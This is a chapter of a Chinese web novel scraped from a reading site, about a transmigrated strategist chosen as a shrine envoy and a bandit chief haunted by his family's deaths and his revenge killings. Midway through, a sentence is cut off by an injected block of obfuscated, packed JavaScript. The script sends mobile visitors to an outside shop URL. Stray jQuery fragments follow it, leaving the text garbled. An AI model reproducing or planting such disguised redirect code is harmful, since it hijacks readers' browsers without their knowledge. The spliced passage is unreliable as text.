文趣网 > 其他小说 > 起点男主睁眼变成男妾后 > 8. 第 8 章
    白谈生最后还是没有接受,他本就是站在巨人的肩头,普及拼音也不费他的功夫,崔彦是个好学士。

    不过白谈生让崔彦把名字改成“周有光”,并说这位才是拼音的发明者。

    圆月高挂,这条路在寨子里鲜有人知道,秦大不用灯笼光凭记忆就可以一路顺畅的走。

    走了半个时辰,秦大眼前才出现一处院落,在山寨里都少这么清贫的院子。

    只零散有几个稀疏的篱笆,土夯的房子上是茅草顶。秦大都能想到屋中是如何摸样。

    家徒四壁,两床木板铺,唯一稍稍看得过眼的婴儿摇篮上会放着偶尔采摘的野花,拨浪鼓,用来安放秦大的幼弟。

    “嘎吱——”

    披头散发的女子俯在婴儿摇篮边,口中唱着轻缓的童谣。

    “娘亲我来看你了。”

    女子充耳不闻,直到秦大上前一步女子发出尖锐的嚎叫声,“你滚!滚!”

    吼完后意识到什么,手伸进摇篮里,轻抚摇篮内的婴儿“安儿,安儿不怕,娘亲这就把坏人赶出去。”

    秦大后退几步,女子扑上来用力在他身上扭打,这力道对十岁前的秦大来说会把他打的哭叫求饶,对现在的秦大却是连触觉都快麻木的察觉不到了。

    无视身上的拍打“娘亲我遇到我很喜欢的人了,他很好看,又可爱,马上要参加神使选拔了,我很期待。”

    “这感觉大概就像当年父亲期待你一样,我爱他。”

    听到爱这个字,身上的拍打停下来,女人现在需要抬头才能看到自己带大的孩子。

    “爱?阿大,你怎么配知道爱?如果你知道爱,安儿死的那天你怎么会没赶回来!”

    秦大看着面容憔悴的母亲,只有清醒的时候她才会意识到她的幼子已经死了,他的声音平淡冷漠。

    “母亲,当时父亲新丧,我去耕田了。”

    女人更加疯狂,耳光啪的一声,“你怎么还敢提起你父亲!我们辛苦养大你,你怎么眼睁睁看着你父亲去死!”

    女人长期精神恍惚,力气不大,秦大脸上连红印都没留下。

    “父亲去讨粮时,我被人围住了……”

    “所以你就让你父亲去死!我早说当时就不该……是他一意孤行要……”

    秦大不知道说什么,当年饥荒,地主家还要征收三石的粮,母亲身孕六月,父亲想先借些粮等到母亲生产再还。

    他们连地主的面都没见到,小厮说他们怎么有脸借粮,不借。父亲不肯走,小厮便想将人打退,父亲五天没吃一点东西,被小厮退倒在地后就没再起来。

    秦大当时虽长得高大但是腹中空空,被打手团团围住。

    人死了,小厮只是愣了一下,便朝他招呼“喂,你把人带回去吧。”

    秦大当时没有哭,身体里没水。

    水都先给在孕的母亲喝,然后是父亲,到他的时候就什么都没有了。

    那年他十四岁,十六岁时他失手打死了那家地主的公子,秦大满脸是血,恍惚了一会,把案台上剩的三个馒头拿走,随手抓了些金银。

    回家背上母亲就上山了。

    知道他把那家地主儿子打死时,母亲是高兴的。夸他是好孩子,让他去把害死父亲的地主一家都弄死。

    食物充足,秦大本就力气大很快在寨子里站稳脚跟,下山把地主一家杀干净了。

    随后就是还在饥荒时闯入他家,失手把弟弟摔死的农户。

    母亲让他把尸体带回来,自己亲手割下了他们的头,丢在狗圈里。

    大仇得报,母亲神思又不清楚了,每每看见寨子里家人齐全的人家就发疯,恨为什么只有自己的孩子和丈夫没了。

    秦大为她重新找了一处地方,建起和父亲在时一般无二的院子。

    日子平和下来,可越平和母亲对秦大的恨就越鲜明。

    三更时分,秦大又一个人离开了母亲的院子,山寨里也安静。

    左右睡不着,秦大走到白谈生的房间,他想一起睡上去抱着那人,但白谈生第二天还要参加选拔。

    于是站到天明时分,走了。

    庆功宴和泽君大庆离得极近,第二天神使选拔就紧锣密鼓的开始,小升早早就来到白谈生的院子,把他拉到了自己家。

    泽君的神使选拔的过程并不复杂,参与神使选拔的人会穿上浑身白色的衣服,在耳垂上点上朱砂。

    由参加大庆的人们投票,投票前十的人再进入泽君庙由在泽君神像下抽签选拔。

    但是今年泽君像被焚毁,于是人们就在代表泽君的银杏神树下选拔。

    那个被吓到的慈祥妇人为白谈生梳妆时,精神已经好多了,但还是下意识的念叨。

    “可真是个好郎君,泽神君肯定也是喜欢你的。”白谈生脸上挂着笑,心里想,泽君如果能出手干扰神使选拔,第一个把他打出去。

    婆婆还在絮叨“小孩,你选上神使以后好好问问,泽君怎么生气了,也是看不下吗?”

    “嗯,我会问的婆婆。”白谈生头上带了一圈白色曼陀罗花环,唇被涂的殷红,毛笔尖沾了些许朱砂点在耳垂。

    神使袍长到拖地的拖尾,及膝的衣袖都让白谈生有些不习惯,是以走的很慢。

    秦大早早等在堂外,门被推开时秦大来回走的动作顿住,直到白谈生走到他面前才迟缓的想:白色原来这么好看——

    转眼,白谈生已经自己走过他身边,秦大转身几步追上。

    “神使大人,小徒为您侍行。”

    说着白谈生便被秦大搂住腿弯抱起来。

    在神使选拔日,神使便是除了泽君地位最高的人,侍奉神使的人就是小徒。

    白谈生被抱起来时,为了稳住身形抱住秦大的脖颈,稳定下来就松手了。

    他也不想穿着这繁琐的衣服前往选拔地点,有人来刚好。

    秦大感受着怀里人的温度,低头就能看到卷翘的睫毛,红艳的唇,脚步越走越快。

    于是白谈生明明是准备最晚的,却是第一个到现场的。

    浑厚的鼓声响起,十里八乡参加选拔的人有百来个,现场艳阳高照一片雪白。

    毫无疑问的白谈生凭借优越的外表收到的票数第一,和他一起前去银杏树下抽签的还有六个少女和三个少年。

    签筒中有十根签,代表选中的那支签尾雕刻了一朵曼陀罗花。

    这签筒从做成之日就被封存起来,直到选拔时才会取出,被人做了手脚也难以被发现。

    白谈生是第四个去抽签的,前面三个看过签后便垂头丧气的站到一旁去了。

    白玉似的手伸进签筒,白谈生摸索片刻抽出手,递上签。

    “神使出现了!”

    ——

    入夜。

    白谈生脱衣服准备睡觉,忽然听见窗户有人在轻轻敲击。

    推开窗户,正是白谈生白日见过的宋都头。

    “白军师晚上好。”宋都头规

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626737|206275||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    规矩矩行了个礼,仿佛正经来拜访,而不是翻窗入内。

    不待白谈生说话,宋都头就道:“军师让我找的工匠已在山寨内,妻儿老小也在寨中安住了,小人是来报喜的。”

    自己只说让找个嘴严的,这宋都头便自行将人家妻儿带了过来。

    “哈,”白谈生轻笑,“宋都头聪慧,请问大名?”

    白谈生是没打算掳工匠妻儿,但带过来也是有利无害,妻儿在寨中工匠才是绝对的守口如瓶。

    况且寨子中弟兄们的家人也在寨里,这对被带上来的妻儿来说反而是庇护所。

    “小人宋沙。”宋沙说完抬头看着白谈生的神色,“军师,小人还自作主张做了件小事。”

    白谈生没说话,宋沙揣摩着他的脸色“我听说,军师参加了这次的神使选拔?”

    “小人已向泽神君求签,明日军师必然中选。”

    求签?这是已经打点过了,生怕他不知道专门和他说一嘴。

    哪怕宋沙不来,白谈生也有办法明日保证自己中选。

    只是白谈生没想到在这个泽君信仰者占百分之九十的世界,神明真实存在的世界,会有原住民敢在神下动土。

    不过人家做都做了,白谈生也只需接着。

    “勇气可嘉,你想要什么?”

    宋沙抬头仰望着白谈生,嘴角勾起“不敢,小人胆小,军师给我什么我便接什么。”

    房内沉默一时“我给的东西你未必接的起,权越盛,担的责就越大”

    “小人不怕累,只怕无权无势,只要有让我死在那上面又何妨。”

    人走灯熄,宋沙奔跑在夜色里,没有目的地激动的狂奔。

    “哈哈哈哈哈哈哈哈哈哈!!!!”

    他第一次觉得权势里自己如此之近,秦大那个蠢货凭什么当老大!只会带着人到处打!没有他也早晚会被其他人吞并!

    只要自己上位。只要自己上位!

    自己会让地方豪强乡绅畏惧,让他们上交每月六成的粮食,交不上来就吃他吃剩的搜饭,像狗一样给他的贵人牵着玩!

    不对,那些恶心的人怎么配让他的贵人看一眼……就让他们住狗圈,吃狗食!

    跑到心脏狂跳,跑到喉中发出破风箱似的嗬嗬声,那清冷淡漠的话回响在耳边。

    “去找崔先生,泽君大庆后我要看到在山寨中建一个足够所有孩子坐的学堂。”

    主持抽签的人惊喜的声音将白谈生从回忆中拉回。

    被众人簇拥着靠近银杏树,脚下悬空,白谈生低头一看。

    是秦大。

    他抱着白谈生的小腿将人抬起,仰着脸朝白谈生笑,白谈生离地面渐远,秦大让他坐在银杏树枝上。

    坐在树上视角提高,白谈生被人团团围住,目之所及全是头组成的海。

    “神使大人,请把花环戴到银杏树枝上吧。”秦大看着白谈生脸上一瞬间的茫然神情,他的夫人现在就像小猫。

    被人放到高高的树上,吓得蜷住尾巴,爪子死死勾着却不敢动。

    白谈生站起来,取下花环放到高处的树枝上,小心的坐下准备慢慢下去,却见秦大已经张开双臂等着他跳下来。

    白谈生故意错开眼,小心试探着下树,秦大已经抱住他的膝弯将他抱离树下。

    回到山寨时,白谈生脸上的淡妆需要特殊的皂荚水清洗,秦大拧干丝帕轻轻擦拭白谈生的脸。

    “今日好漂亮,神使大人。”